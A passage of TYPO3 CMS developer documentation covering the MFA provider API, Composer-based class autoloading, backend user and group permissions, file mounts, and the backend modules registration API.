the providers. This can be split up into state-providing ones, for example,
isActive() or
isLocked(), and functional ones, for example,
activate() or
update().
Their exact task is explained in the corresponding PHPDoc of the interface files
and the Core MFA provider implementations.
All of these methods are receiving either the current
PSR-7 request object, the
\TYPO3\CMS\Core\Authentication\Mfa\MfaProviderPropertyManager or both.
The
MfaProviderPropertyManager can be used to retrieve and update the
provider-specific properties and also contains the
getUser() method,
providing the current user object.
To store provider-specific data, the MFA API uses a new database field
mfa,
which can be freely used by the providers. The field contains a JSON-encoded
array with the identifier of each provider as array key. Common properties of
such provider array could be active or lastUsed. Since the information is
stored in either the
be_users or the
fe_users table, the context
is implicit. Same goes for the user the providers deal with. It is important to
have such a generic field so providers are able to store arbitrary data, TYPO3
does not need to know about.
To retrieve and update the providers data, the already mentioned
MfaProviderPropertyManager, which is automatically passed to all
necessary provider methods, should be used. It is highly discouraged
to directly access the
mfa database field.
Autoloading
The class autoloader takes care of finding classes in TYPO3.
About
makeInstance()
\TYPO3\CMS\Core\Utility\GeneralUtility::makeInstance() is a generic way
throughout Core and extensions to create objects. It takes care of singleton
and XCLASS handling.
Note
When dependent services are injected via Dependency Injection, there is no need for
makeInstance():
Injecting a different object is done by configuration - that's what
dependency injection is for.
A developer can instantiate classes using
makeInstance() - if dependency
injection cannot be used. There are some situations where
new is used
over
makeInstance(), effectively dropping especially the direct ability
to XCLASS:
Data transfer objects are often created with
new. A good example are
PSR-14 events: The calling class creates a data
transfer object that is hand over to the consumer. These DTOs must never be
changed by an extension, since they are a contract both caller and consumer
must stick to. They are thus created using
new to prevent XCLASSing.
Structures with a dedicated API that allows own implementations on a
configuration level sometimes do not use
makeInstance: Many Core
constructs come with an API to allow custom classes by dedicated
configuration. Those implement a factory pattern to deal with this. An
example is the PSR-15 middleware stack.
Autoloading classes
There is one autoloader used, the one of Composer. No matter if you run TYPO3 in
Composer mode or not (Classic mode), TYPO3 uses the Composer autoloader to
resolve all class file locations.
Loading classes with Composer mode
In Composer mode, the autoloader checks for (classmap and PSR-4) autoloading
information inside your extension's composer.json. If you do not provide
any information, the autoloader falls back to the classmap autoloading like in
non-Composer mode.
Troubleshooting
Dump the class loading information manually via composer dumpautoload and
check that the autoload information is updated. Typically you would check
vendor/composer/ to hold files like autoload_classmap.php and
autoload_psr4.php, etc.
This means, you did not install TYPO3 via a require statement inside your
composer.json. It's a regular old-school install where the TYPO3 source
and the symlinks (index.php) are setup manually.
In this case, every time you install an extension, the autoloader scans the
whole extension directory for classes. No matter if they follow any convention
at all. There is just one rule: put each class into its own file. This also
means that there can only be a single class per file.
You can also explicitly configure autoloading in the
ext_emconf.php.
The generated typo3conf/autoload_classmap.php is a large array with a
mapping of classnames to their location on the disk:
This method is failsafe unless the autoload information cannot be written. In
this case, check the Install Tool for warnings and make sure thattypo3temp/is writable.
Troubleshooting:
If your classes cannot be found, try the following approaches.
Dump the class loading information manually with the following command:
php typo3/sysext/core/bin/typo3 dumpautoload
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If that command itself fails, please (manually) uninstall the extension and
try reinstalling it (via the Extension Manager).
If you are still not lucky, the issue is definitely on your side and you
should double check the write permissions on typo3temp.
Best practices
If you didn't do so before, have a look at the PSR-4 standard. It defines
very good rules for naming classes and the files they reside in. Really,
read the specs and start using PSR-4 in your projects. It's unlikely that
there will be any other more advanced standard in the near future in the
PHP world. PSR-4 is the way to go and you should embrace it.
Even if you do not use Composer mode and the class mapping of the autoloader
allows you to use whatever you want, stick to PSR-4. It's not only a very
good standard to find classes, but it will also help organizing your code.
PSR-4 is all about namespaces. No matter if you like namespaces or not, use
them. Namespaces exist since PHP 5.3, so you will be able to use them in any
modern TYPO3 project due to the minimum PHP requirements of TYPO3 itself.
Tip
PSR-4 is a standard that has been developed by the PHP Framework Interop
Group (FIG). PSR-4 is an advanced standard for autoloading PHP classes and
replaces PSR-0. If you want to know more about the PHP FIG in general and
PSR-4 in specific, please visit https://www.php-fig.org/psr/psr-4/.
In our efforts to make TYPO3 faster and closer oriented
to common PHP standard systems, we looked into the integration of the
class loader that is used by all Composer-based projects. We consider
this functionality a crucial feature for the future of TYPO3 on the
base level, but also as a dramatic increase of the overall performance
of every request inside TYPO3.
Understanding the TYPO3 class loader
The TYPO3 class loader is instantiated within the TYPO3 Bootstrap at
a very early point. It does a lot of logic (checking ext_autoload.php,
ClassAliasMap.php), and caches this logic away on a per-class basis by
default in typo3temp/Cache/ to store all information for a class. This
information contains: The full path to the class, the namespaced class
name itself and possible class aliases.
The latter part looks into all extensions and checks the
Migrations/ClassAliasMap.php file for any possible “legacy class” that
could be used (e.g. t3lib_extmgm). This way, all extensions still using
non-namespaced class that are shipped with the TYPO3 core are still made
available.
The information is stored in a SimpleFileBackend via the built-in
Caching Framework by default. At the early stage of the bootstrap
process some classes need to be included manually as the whole TYPO3
core engine has not been loaded yet. This is done for all PHP classes in
use, which may result in 500+ files inside typo3temp/Cache which are
created one by one on an initial request with no caches set up. This is
done by intention on a per-file-basis during runtime as a cache file is
only created if a PHP class is requested to be instantiated. On a second
hit, the caching framework does not create the cache files, but fetches
one by one for each class used in the request via a separate
file_get_contents() call.
When debugging TYPO3 on an initial request, there are a
lot of file_get_contents() and file_put_contents() calls to
store and fetch this information. This is quite a lot of overhead for loading
PHP classes. Even without a lot of class aliases (e.g. in CMS7) this
overhead of writing / storing the file caches still exists. Some
overhead however is already taken care, especially if a class is loaded
which is shipped with the core and no class alias is used.
This is all built in a way so a lot of backwards-compatibility can be
ensured.
Understanding the Composer class loader
Compared to the TYPO3 class loader, the Composer class loader
concept differs in the following major points:
Caching on build stage
When setting up a project, like a TYPO3 project, Composer checks the
main composer.json of a project and builds a static file with all PSR-4
prefixes defined in that json file. Unless in a development environment
or when updating the source, this file does not need to be rebuilt as
the PHP classes of the loaded packages won’t change in a regular
instance. This way all classes available inside TYPO3 are always
available to the class loader.
Using PSR-4 compatible prefix-based resolving
Instead of looking up every single class and caching the information
away, Composer works on a “prefix”-based resolution. As an example, the
Composer class loader only needs to know that all PHP classes starting
with
\TYPO3\CMS\Core are located within EXT:core/Classes. The
rest is done by a simple resolution to include the necessary PHP class
files. This means that the information to be cached away is only the
list of available namespace prefixes.
The definition of these prefixes is set inside the composer.json file of each
package or distribution / project.
Autoloading developer-specific data differently
The Composer class loader checks the composer.json for a development
installation differently, including for example unit and functional tests
separately to the rest of the installation. The static map with all
namespaces are thus different when using Composer with composer
install or composer install --no-dev.
Integration Approach
The Composer class loader is injected inside the Bootstrap process of
TYPO3 and registered before the TYPO3 class loader. This means that
a lookup on a class name is first checked via the Composer logic, and if
none found, the regular TYPO3 class loader takes over.
The support for class aliases is quite important for TYPO3, but is
not supported by Composer by default. There is a separate Composer
package created by Helmut Hummel (available on GitHub) which serves as a facade
to the Composer class loader and creates not just the information for
the prefixes but also the available class aliases for a class and loads
them as well.
The necessary information about the “which namespaced classes can be
found at which place” is created before every release and shipped inside
the typo3_src directory. The generated class information is available
under typo3/contrib/vendor/composer/. For TYPO3 installations that are
set up with composer, the TYPO3 bootstrap checks
Packages/Libraries/autoload.php first which can be shipped with any
Composer-based project and include many more PHP Composer packages than
just TYPO3 extensions. To ensure maximum backwards-compatibility, the
option to load from Packages/Library/autoload.php instead of the shipped
"required-core-packages-only" needs to be activated via an environment
variable called
TYPO3_COMPOSER_AUTOLOAD which needs to be set on
server-side level.
If the Composer-based logic is not used in some legacy cases (for
extensions etc), the usual TYPO3 class loader comes into play and does
the same logic as before.
Project setup and extension considerations
If you already use Composer to set up your project, and the
composer.json and their extensions ship a valid composer.json, the
Composer class loader generates the valid PSR-4 cache file with all
prefixes on installation and update. Running "composer update" will
automatically re-generate the PSR-4 cache file.
The Composer class loader also supports PSR-0 and static inclusion of
files, which can be used as well.
As a base line: Any regular installation will see a proper speed
improvement after the update to the Composer class loader.
Backend APIs
The following APIs are of interest if you want to configure or extend the
functionalities of the backend.
TYPO3 features an access control system based on users and groups.
Users
Each user of the backend must be represented with a single record in
the table "be_users". This record contains the username and password,
other meta data and some permissions settings.
Part of the editing form for user "simple_editor" of the Introduction Package
The above screenshot shows a part of the editing form for the backend
user "simple_editor" from the Introduction Package. If you have an Introduction
Package available, you can check further properties of that user. It is
part of the "Simple editors" group, has a name, an email address and
its default language for the backend is English.
It is possible to assign rights directly to a user, but it is much better
done using groups. Furthermore groups offer far more options.
Groups
Each user can also be a member of one or more groups (from the
"be_groups" table) and each group can include sub-groups. Groups
contain the main permission settings you can set for a user. Many
users can be a member of the same group and thus share permissions.
When a user is a member of many groups (including sub-groups) then the
permission settings are added together so that the more groups a user
is a member of, the more access is granted to him.
Part of the editing form for group "Simple editors" of the Introduction Package
This screenshot shows just an extract of the group editing form.
It contains many more fields!
There is a special kind of backend users called "Admin".
When creating a backend user, just check the "Admin!" box in the
"General" tab and that user will become an administrator.
There's no need to set further access options for such a user:
an admin user can access every single feature of the TYPO3
backend, like the "root" user on a UNIX system.
All systems must have at least one "admin" user and most systems
should have only "admin" users for the developers - not for any
editor. Make sure to not share TYPO3 accounts with multiple users
but create dedicated accounts for everyone.
Not even "super users" should be allowed "admin" access since that
will most likely grant them access to more than they need.
Admin users are differentiated with an orange icon.
In Web > List view, the different icon for admin users
Note
There's no other level between admin and ordinary users.
This seems to be a strong limitation, especially
when you consider that ordinary users may not access TypoScript
templates.
However, there is a security reason for this. From a TypoScript template,
you can call a PHP script. So - in effect - a user with access to
TypoScript can run arbitrary PHP code on the server, for example
in order to create an admin account for himself. This type of escalation
cannot be allowed.
Location of users and groups
Since both backend users and backend groups are represented by records
in the database, they are edited just as any other record in the
system. However backend users and groups are configured to exist
only in the root of the page tree where only admin users have
access:
Users and groups reside on the root page
Records located in the page tree root are identified by having their
"pid" fields set to zero. The "pid" field normally contains the
relation to the page where a record belongs. Since no pages can have
the id of zero, this is the id of the root. Notice that only "admin"
users can edit records in the page root!
If you need non-admin users to create new backend users, have a look
at the TYPO3 system extension sys_action for a possible solution.
Password reset functionality
TYPO3 backend users can reset their password if they use the default TYPO3 login
mechanism.
To display the reset link on the backend login page, the following criteria must
be met:
The user has a password entered previously (indicating that no third-party
login has been used).
The user has a valid email address added to their user record.
The user is neither deleted nor disabled.
The email address is used only once for all backend users of the instance.
Once the user has entered their email address, an email is sent with a link that
allows to set a new password, which must consist of at least eight characters.
The link is valid for 2 hours and a token is added to the link. If the password
is entered correctly, it will be updated for the user and they can log in.
The new password that the user specifies must comply with the configured
password policy for the backend.
The username of the backend user is displayed in the password recovery
email alongside the reset link.
New in version 13.0
A new array variable
{userData} has been added to the password
recovery
FluidEmail object. It contains the values of all fields
belonging to the affected frontend user.
Notes on security
When having multiple users with the same email address, no reset
functionality is provided.
No information disclosure is built-in, so if the email address is not in the
system, it is not disclosed to the outside.
Rate limiting is enabled so that three emails can be sent per email address
within 30 minutes.
Tokens are stored in the database but hashed again just like the password.
When a user has logged in successfully (for example, because they remembered
the password), the token is removed from the database, effectively
invalidating all existing email links.
Implications of displaying the username in the email
A third-party gaining access to the email account has all information needed
to log in into the TYPO3 backend and potentially cause damage to the
website.
Without the username a third-party could only reset the password of the
TYPO3 backend user, but not log in, if the username is different from the
email address.
It is also possible to override the ResetRequested email templates
to remove the username and customize the result.
Both options can be configured in the Admin Tools > Settings module
or in the Install Tool, but can also be set manually via
config/system/settings.php or config/system/additional.php.
Reset password for user
Administrators can reset a user's password. This is useful primarily for
security reasons, so that an administrator does not have to send a password over
to a user in plain text (for example, by email).
The backend URL is necessary to generate the correct links to the TYPO3
instance from CLI context.
Roles
Another popular approach to setting up users is roles. This
concept is basically about identifying certain roles that users can
take and then allow for a very easy application of these roles to
users.
TYPO3 access control is far more flexible and allows for such detailed
configuration that it lies very far from the simple and straight
forward concept of roles. This is necessary as the foundation of a
system like TYPO3 should fit many possible usages.
However it is perfectly possible to create groups that act like "roles".
This is what you should do:
Identify the roles you need; Developer, Administrator, Editor, Super
User, User, ... etc.
Configure a group for each role: attribute permissions needed to
fulfill each role.
Consider having a general group which all other groups include - this
would basically configure a shared set of permissions for all users.
Access Control Options
The permissions of fully initialized backend users are the result of the
rights granted in their own user records and all the user groups they
belong to.
The permissions are divided into the following conceptual categories:
Access lists
These grant access to backend modules, database tables and fields.
Mounts
Parts of the page tree and server file system.
Page permissions
Access to work on individual pages based on the user id and group ids.
User TSconfig
A flexible and hierarchical configuration structure
defined by TypoScript syntax. This typically describes "soft"
permission settings and options for the user or group which can be used to
customize the backend and individual modules.
Access lists are defined at group-level. Usage of access lists for defining
user rights is described in chapter Setting up user group permissions.
The various access lists are described here for reference, with
additional technical details, where necessary.
Note
Access list don't apply to admin users. As mentioned before, admin
users have access to every single feature of the TYPO3 CMS backend.
Modules
This is a list of submodules a user may be given access to. Access to a main
module is implicit, as soon as a user has access to at least one of its
submodules.
Not all submodules appear in this list. It is possible to restrict a
submodule to admin users only. This is the case, in particular, for all
Admin Tools and System modules, as well as the
Web > Template module.
Note
This is the only access list that is also available for definition
at user-level.
This section is only available with activated
dashboard system extension.
Tables for listing
A list of all tables a user may be allowed to read in the backend.
Again this in not a list of all tables in the database. Some tables
are low level and never appear in the backend at all, even for admin
users. Other tables are restricted to admin users and thus do not show
up in the access list.
All tables that are allowed for modification (see below) are
also allowed for read access, so no need to select them in this
list as well.
Tables for editing
This is exactly the same list of tables as before, but for granting
modification rights.
Page types
TYPO3 CMS defines a number of page types. A user can be restricted
to access only some of them.
For a full discussion on page types, please refer to the
page types chapter.
Excludefields
When defining column tables in TCA, it is possible to set the
"exclude" property to "1".
This ensures that the field is hidden to users by default.
Access to it must be explicitly granted in this access list.
Explicitly allow/deny field values
When a field offers a list of options to select from, it is possible
to tell TYPO3 CMS that access to these options is restricted and should
be granted explicitly. Such fields and their values appear here.
By default users can edit records regardless of what language they are assigned to.
Using this list it is possible to restrict users to working only in selected
languages.
When a user is a member of more than one group, the access lists for
the groups are "added" together.
Mounts
TYPO3 CMS natively supports two kinds of hierarchical tree structures:
the page tree (typically visible in the Web module) and the folder
tree (typically visible in the File module). Each tree is
generated based on the mount points configured for the current user. So a
page tree is drawn from the DB Mounts which are one or more page ids
telling the Core from which "start page" to draw the tree(s). Likewise
is the folder tree drawn based on file mounts configured for the user.
DB mounts (page mounts) are set by pointing out the
page that should be mounted for the user (at user or group-level):
The DB mounts for group "Editors"
This is what the user will see:
Warning
A DB mount will appear only if the page permissions
allow the user at least read access to the mounted page (and subpages).
Otherwise nothing will appear at all!
File Mounts are a little more difficult to set up, as they
involve several steps. First of all, you need to have at least
one File Storage. By
default, you will always have one, pointing
to the fileadmin directory. It is created by TYPO3 CMS
upon installation.
Note
The fileadmin directory is the default place where
TYPO3 CMS expects media resources to be located. It can be
changed using the global configuration option
$GLOBALS['TYPO3_CONF_VARS']['BE']['fileadminDir'].
A File Storage is essentially defined by a File Driver
and the path to which it points.
Next we can create a File Mount record (on the root page),
which refers to a File Storage:
A file mount pointing to the "user_upload" directory
When defining a File Mount, you can point to a specific folder
within the chosen File Storage. Finally the mount is assigned
to a user or group:
The file mount is assigned to the "Editors" group
After a successful configuration, the file mount will appear to
the user:
DB and File Mounts can be set for both the user and group records.
Having more than one DB or File Mount will just result in more than
one mount point appearing in the trees. However the backend users
records have two flags which determine whether the DB/File Mounts of
the groups the user belongs to will be mounted as well! This is
the default behaviour. So make sure to unset these flags if users
should see only their "private" mount points and not those from their
groups:
By default DB and File Mounts from groups are set for member users
"Admin" users do not need mount points. As always, they have access
to every part of the installation.
Page Permissions
Page permissions are designed to work like file permissions on UNIX
systems. Each page record has an owner user and group and
permission settings for the owner, the group and "everybody". This is
summarized here:
Every page has an owner, group and everybody-permission
The owner and group of a page can be empty. Nothing matches with an
empty user/group (except "admin" users).
Every page has permissions for owner, group and everybody in these
five categories (next to the label is the corresponding value):
Show (1)
See/Copy page and the page content.
Edit page content (16)
Change/Add/Delete/Move page content.
Edit page (2)
Change/Move the page, eg. change title, startdate, hidden flag.
Delete page (4)
Delete the page and page content.
New pages (8)
Create new pages under the page.
Note
Here "Page content" means all records related to that page,
except other pages.
Page permissions are set and viewed with the module System > Permissions
module:
The Access module and its overview of page rights and owners
Editing permissions is described in details in chapter
Page permissions.
A user must be "admin" or the owner of a page in order to edit its
permissions.
When a user creates new pages in TYPO3 CMS they will by default get the
creating user as owner. The owner group will be set to the first
listed user group configured for the users record (if any). These defaults
can be changed through page TSconfig.
User TSconfig
User TSconfig is a hierarchical configuration structure entered in
plain text TypoScript. It can be used by all kinds of applications
inside of TYPO3 CMS to retrieve customized settings for users which
relates to a certain module or part. The options available are
described in the document TSconfig .
Other Options
This chapter presents a few more, miscellaneous options for
backend users and groups.
Backend users
Default language
This is the language in which the backend will be localized for the
user. The users can change the language themselves in the
User Settings
module.
Note
Language packs must be downloaded using the Admin Tools > Maintenance > Manage Language Packs
module. As long as the language packs are not available, the backend
will still display in English.
Fileoperation permissions
This is a complement to the File Mounts and defines exactly which operations
the user is allowed to perform on both files and folders.
Access options
A backend user can be disabled (first flag in the "General" tab). A disabled
user cannot log into the backend anymore. Furthermore, in the "Access" tab
a start and end time can be given, defining a time interval during which the
user will be allowed to log into the backend. Authentication before the start
time and after the end time will automatically fail.
Lock to domain
This setting constrains the user to use a specific domain for logging
into the TYPO3 backend. This is very useful in setups with multiple
sites.
Backend Groups
Disable
Setting this flag will immediately disable the group for
all members
Lock to domain
This restricts a group to a given domain. If a user logs in from another
domain, that group membership will be ignored.
Hide in lists
This flag will prevent the group from appearing in various
listings in TYPO3. This includes modules like System > Access.
Inherit settings from groups (Sub Groups)
Assigns sub-groups to this group. Sub-groups are
evaluated before the group including them. If a user is a member of
a group which includes one or more sub-groups, the user will also be
a member of the sub-groups.
More about file mounts
File mounts require a little more description of the concepts provided
by TYPO3. All files are handled by an application layer called
the "File Abstraction Layer" (FAL). You can find more information
about the basic concepts of FAL.
The FAL is comprised of the following components:
Drivers
Drivers are what makes it possible to access a given type of media
storage. The Core provides a driver to access the local file system.
Extensions exist that provide a driver for remote systems, like SFTP
or platforms like Amazon S3.
Storages
A file storage uses a driver to connect to a given storage system.
It is defined by a path pointing into that storage system. There can
be several storages using the same driver and pointing to different
"directories". The storage configuration depends on the driver it uses.
Thanks to the storage and its driver, the user is able to browse
files from within the TYPO3 backend as if they were stored locally.
File mounts
As discussed before, a file mount is the element which is used to
actually give access to users to some directories. A file mount is always
related to a storage.
Create a new file mount
To create a new file mount go to the module File > Filelist and create the
folder for the mount if it didn't exist yet. Then open the context menu on that
folder and choose New File mount, then give the new file mount a name.
The entry point is already set.
It is also possible to create a file mount manually in the List
module by creating a record of type
Filemount. In this case you have
to choose the storage and folder manually.
Paths for local driver storage
The file storages based on the "local file system" driver have an
option for relative or absolute paths.
The paths options for a storage based on the local file system driver
"Relative" means that the given path is relative to the fileadmin/
folder (or whatever other folder was configured using
$GLOBALS['TYPO3_CONF_VARS']['BE']['fileadminDir'].
Absolute paths are full paths starting at the root of the file system
(i.e. / on Unix systems).
Attention
If the fileadmin/ location is not changed, be aware
that all files beneath it will be accessible via a browser,
since this directory is located below the web root. This is
perfectly fine in most cases, and indeed generally a desired
behaviour. Just be careful what kind of files you store in that
place, as they will be publicly accessible.
Absolute paths outside of the web root
must be explicitly declared in the global configuration option
$GLOBALS['TYPO3_CONF_VARS']['BE']['lockRootPath']. Any absolute
path that you want to declare in a file storage needs to have its
first part match the value of $GLOBALS['TYPO3_CONF_VARS']['BE']['lockRootPath']
(or of the web root, which can be retrieved with \TYPO3\CMS\Core\Core\Environment::getPublicPath()).
As an example, let's say you want to define two storages, one
pointing to /home/foo/bar and one pointing to
/home/foo/baz. You could declare
$GLOBALS['TYPO3_CONF_VARS']['BE']['lockRootPath'] to be
equal to /home/foo/.
Home directories
TYPO3 CMS also features the concept of "home directories". These are paths
that are automatically mounted if they are present at a path
configured in the global configuration. Thus they don't need to have a file
mount record representing them - they just need a properly named
directory to be present.
Note
That last sentence is important. The directories need to exist.
They are not created automatically.
The parent directory of user/group home directories is defined by
$GLOBALS['TYPO3_CONF_VARS']['BE']['userHomePath'] and
$GLOBALS['TYPO3_CONF_VARS']['BE']['groupHomePath']
respectively. Let's say we define the following:
The first part of the definition (before the colon :) is
the id of a file storage. The second part is a path relative to
that file storage. Assuming file storage with a uid of "1" is the
default one pointing to fileadmin/, the following path
needs to exist on the server: /path/to/web/root/fileadmin/user_homes/.
Then a directory needs to exist for each user. Again let's assume that
we have a user with a uid of "3" and a username of "editor", either
of those paths would have to exist:
/path/to/web/root/fileadmin/user_homes/3/
/path/to/web/root/fileadmin/user_homes/3_editor/
The second possibility is more explicit, but will break if the
username is changed.
The same goes for groups, but only using the uid.
Assuming a group called "editors" with a uid of "1",
and:
we have to create a directory /path/to/web/root/fileadmin/groups/1/.
Having set up all these properties and folders, the user
should see the following when moving to the FILE > Filelist
module:
where only the first mount was explicitly assigned to that user.
A different icon visually distinguishes automatic file mounts.
Note
If the $GLOBALS['TYPO3_CONF_VARS']['BE']['userUploadDir'] option is
also used, it is appended to the user home directory name. Thus a value
of _uploads would mean that our home directories become
/path/to/web/root/fileadmin/user_homes/3_uploads/
or /path/to/web/root/fileadmin/user_homes/3_editor_uploads/.
This does not apply to group home directories.
The concept of home directories can be efficiently combined with
the TSconfig defaultUploadFolder option,
which automatically directs all files uploaded by the user to the
given directory.
Backend users module
The System > Backend users module offers a convenient way
of working with backend users and groups. It provides a list of both
users and groups. The users list can be searched and filtered.
Comparing Users or Groups
The Backend users module offers the possibility to compare users.
Just add users using the
"+ Compare" button and then hit the "Compare user list" button.
For example, this is the comparison of the three different editors
provided by the Introduction Package:
Comparing users in the Backers users module
The same functionality is available for user groups, including a comparison
of their inherited permissions.
Impersonating Users ("Switch to")
We can impersonate (switch) to a user by clicking the Switch to user
action icon:
The button to simulate another user
You will then be logged in as that user (note how the user name
is prefixed with "SU" for "Simulated User"). To "switch back",
use the "Exit" button (which replaces the usual "Logout"
button).
Backend with active simulate user
Backend modules API
This chapter describes the API that can be used to create custom backend modules
in extensions. See the following chapter for a tutorial on how to create
custom backend modules.
The PSR-14 BeforeModuleCreationEvent allows extension authors
to manipulate the module configuration before it is used to create and
register the module.
The Configuration/Backend/Modules.php configuration files are
read and processed when building the container. This
means the state is fixed and cannot be changed at runtime.
If the module should be a submodule, the parent identifier, for example web
has to be set here. Have a look into the
list of available toplevel modules.
Extensions can add additional parent modules, see
Toplevel modules.
path
path
Type
string
Default
/module/<mainModule>/<subModule>
Define the path to the default endpoint. The path can be anything, but
will fallback to the known /module/<mainModule>/<subModule> pattern,
if not set.
access
access
Type
string
Can be user (editor permissions), admin, or systemMaintainer.
workspaces
workspaces
Type
string
Can be * (= always), live or offline. If not set, the value of the
parent module - if any - is used.
position
position
Type
array
The module position. Allowed values are top and bottom as
well as the key value pairs before => <identifier> and
after => <identifier>.
Path to a module icon (Deprecated: Use
iconIdentifier
instead)
labels
labels
Type
array of strings or string
An
array with the following keys:
title
description
shortDescription
The value of each array entry can either be a string containing the static text, or a locallang label reference.
Alternatively define the path of a locallang file reference.
A referenced file should contain the following label keys:
mlang_tabs_tab (used as module title)
mlang_labels_tabdescr (used as module description)
mlang_labels_tablabel (used as module short description)
component
component
Type
string
Default
TYPO3/CMS/Backend/Module/Iframe
The view component, responsible for rendering the module.
navigationComponent
navigationComponent
Type
string
Changed in version 14.0
The
@typo3/backend/page-tree/page-tree-element, which was deprecated in TYPO3 v13.1,
has been removed in favor of
@typo3/backend/tree/page-tree-element.
The module navigation component. The following are provided by the Core:
Whether the module should use the parents navigation component.
This option defaults to
true and can therefore be used to
stop the inheritance for submodules.
moduleData
moduleData
Type
array
All properties of the module data object
that may be overridden by
GET /
POST parameters of the request
get their default value defined here.
Example
Excerpt of EXT:my_extension/Configuration/Backend/Modules.php
List of identifiers that are aliases to this module. Those are added as route
aliases, which allows to use them for building links, for example with the
\TYPO3\CMS\Backend\Routing\UriBuilder . Additionally, the aliases can
also be used for references in other modules, for example to specify a
module's parent.
Examples
Example for a new module identifier:
Excerpt of EXT:my_extension/Configuration/Backend/Modules.php
<?phpdeclare(strict_types=1);
return [
'workspaces_admin' => [
'parent' => 'web',
// ...// choose the previous name or an alternative name'aliases' => ['web_WorkspacesWorkspaces'],
],
];
Copied!
Example for a route alias identifier:
Excerpt of EXT:my_extension/Configuration/Backend/Modules.php
Generic side information that will be merged with each generated
\TYPO3\CMS\Backend\Routing\Route::$options array. This can be
used for information, that is not relevant for a module aspect,
but more relevant for the routing aspect, for example
sudo mode.
Define the routes to this module. Each route requires at least the target.
The _default route is mandatory, except for modules which can fall back
to a submodule. The path of the _default route is taken from the
top-level configuration. For all other routes, the route identifier is taken
as path, if not explicitly defined. Each route can define any
controller/action pair and can restrict the allowed HTTP methods:
Excerpt of EXT:my_extension/Configuration/Backend/Modules.php
All subroutes are automatically registered in a
\TYPO3\CMS\Core\Routing\RouteCollection . The full syntax for route
identifiers is <module_identifier>.<sub_route>, for example,
my_module.edit. Therefore, using the
\TYPO3\CMS\Backend\Routing\UriBuilder to create a link to such a
sub-route might look like this:
Using these Extbase configurations tells the Core to bootstrap Extbase and expecting
controllers based on
\TYPO3\CMS\Extbase\Mvc\Controller\ActionController .
Do not use it for non-Extbase controller. Use routes
instead.
The extension name in UpperCamelCase for which the module is registered. If
the extension key is my_example_extension the extension name would be
MyExampleExtension.
controllerActions
controllerActions
Type
array
Define the controller action pair. The array keys are the
controller class names and the values are the actions, which
can either be defined as array or comma-separated list:
Excerpt of EXT:my_extension/Configuration/Backend/Modules.php
The modules define explicit routes for each controller/action combination,
as long as the
enableNamespacedArgumentsForBackend feature
toggle is turned off (which is the default). This effectively means
human-readable URLs, since the controller/action combinations are no longer
defined via query parameters, but are now part of the path.
The route identifier of corresponding routes is registered with similar
syntax as standard backend modules:
<module_identifier>.<controller>_<action>. Above configuration will
therefore register the following routes:
web_ExtkeyExample
web_ExtkeyExample.MyModule_list
web_ExtkeyExample.MyModule_detail
Debug the module configuration
All registered modules are stored as objects in a registry. They can be viewed
in the backend in the System > Configuration > Backend Modules
module.
Exploring registered Backend Modules in the Configuration module
The ModuleProvider API allows extension
authors to work with the registered modules.
Backend modules with sudo mode
You can configure the sudo mode in your backend module like this:
This allows administrators to define access permissions via the module
access logic for those modules individually. It also allows to influence the
position of the third-level module.
Example
Registration of an additional third-level module for the
Web > Template module in the Configuration/Backend/Modules.php
file of an extension:
The following toplevel modules are provided by the Core:
web: Web
All modules requiring a page tree by default. These modules are mostly used
to manage content that should be displayed in the frontend.
site: Site Management
Settings for the complete site such as redirects and site settings.
file: File
All modules requiring a file system tree such as modules dealing with file
metadata, uploading etc.
tools: Admin Tools
By convention modules in this toplevel section should only be
available for admins with system maintainer rights. Therefore the
configuration array of a module displayed here should always have the
following key-value pair:
'access' => 'systemMaintainer'.
In this toplevel section modules that deal with installing and updating the Core
and extensions are available. System-wide settings are also found here.
system: System
By convention, modules in this toplevel section should only be
accessible by admins. Therefore the configuration array of a module
displayed here should always have the following key-value pair:
'access' => 'admin'.
In this toplevel section modules are situated that deal with backend user
rights or might reveal security relevant data.
The backend user interface is essentially driven by the "backend"
system extension and extended by many other system extensions.
It is divided into the following main areas:
An overview of the visual structure of the backend
Top bar
The top bar is always present. It is itself divided into two
areas: the logo and top bar tools.
The logo can be changed using the
$GLOBALS['TYPO3_CONF_VARS']['EXTENSIONS']['backend']['backendLogo'] option.
Additional top bar tools can be registered using
$GLOBALS['TYPO3_CONF_VARS']['BE']['toolbarItems'] .
Module menu
This is the main navigation. All modules are structured in main
modules (which can be collapsed) and submodules which is where
the action really happens.
The module menu can be opened or closed by using the icon on the top left.
In the TYPO3 world, "module" is typically used for
the backend. Extension components which add features in the frontend
are referred to as "plugins".
Navigation frame
Any backend module may have a navigation frame or not. This frame
will typically display the page tree or the folder tree, but
custom navigation frames are possible.
The current location (i.e. page or frame) is carried over between
navigation frames when changing modules. This means, for example, that
when you move from the Web > Page module to the
Web > List module, the same page stays selected in the page tree.
DocHeader
This part is always located above the Content area. It will generally
contain a drop-down menu called the "Function menu", which allows to
navigate into the various functions offered by the module. When editing
it will also contain all the buttons necessary for saving, closing or
reverting. It may contain additional buttons for shortcuts
or any specific feature needed by the module.
Content area
This is the actual work area. Any information to show or content
to edit will be displayed here.
Contextual menus
(Right) clicking on record icons will often reveal a contextual menu.
New functions can be added to the contextual menus, but the
mechanisms vary: the page tree behaves differently than the
rest of the backend.
A typical contextual menu appears when clicking on a record icon
DocHeaderComponent
The
\TYPO3\CMS\Backend\Template\Components\DocHeaderComponent can be
used to display a standardized header section in a backend module with buttons,
menus etc. It can also be used to hide the header section in case it is
not desired to display it.
The module header displayed by the DocHeaderComponent
The
\TYPO3\CMS\Backend\Module\ModuleData object contains the user
specific module settings, for example whether the clipboard is shown,
for the requested module. Those settings
are fetched from the user's session. A PSR-15 middleware automatically
creates the object from the stored user data and attaches it to the PSR-7 Request.
The
\TYPO3\CMS\Backend\Module\ModuleData object is available as
attribute of the PSR-7 Request - in case a TYPO3 backend module is requested -
and contains the stored module data, which might have been overwritten
through the current request (with
GET /
POST).
Through the module registration one can define, which properties can
be overwritten via
GET /
POST and their default value.
The whole determination is done before the requested route target - usually
a backend controller - is called. This means, the route target can
read the final module data.
The allowed properties are defined with their default value in the
module registration:
The
ModuleData object provides the following methods:
Method
Parameters
Description
createFromModule()
$module
$data
Create a new object for the given module, while
overwriting the default values with
$data.
getModuleIdentifier()
Returns the related module identifier
get()
$propertyName
$default
Returns the value for
$propertyName, or the
$default, if not set.
set()
$propertyName
$value
Updates
$propertyName with the given
$value.
has()
$propertyName
Whether
$propertyName exists.
clean()
$propertyName
$allowedValues
Cleans a single property by the given allowed
list and falls back to either the default value
or the first allowed value.
cleanUp()
$allowedData
$useKeys
